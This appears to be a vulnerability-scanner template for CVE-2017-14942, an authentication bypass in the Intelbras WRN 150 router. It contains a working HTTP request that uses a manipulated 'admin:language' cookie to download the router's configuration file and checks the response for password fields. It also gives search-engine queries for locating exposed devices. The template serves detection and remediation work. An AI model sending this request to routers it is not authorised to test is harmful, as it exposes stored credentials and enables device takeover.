CVE-2017-14942: Intelbras WRN 150 - Authentication Bypass

id: CVE-2017-14942

info:
  name: Intelbras WRN 150 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.
  remediation: |
    Update the router firmware to the latest version.
  reference:
    - https://www.exploit-db.com/exploits/42916
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14942
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14942
    cwe-id: CWE-552
    epss-score: 0.00986
    epss-percentile: 0.76024
    cpe: cpe:2.3:h:intelbras:wrn150:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: wrn150
    shodan-query: html:"WRN150"
    fofa-query: title="WRN150"
  tags: cve,cve2017,intelbras,auth-bypass,router

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:language=pt

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and
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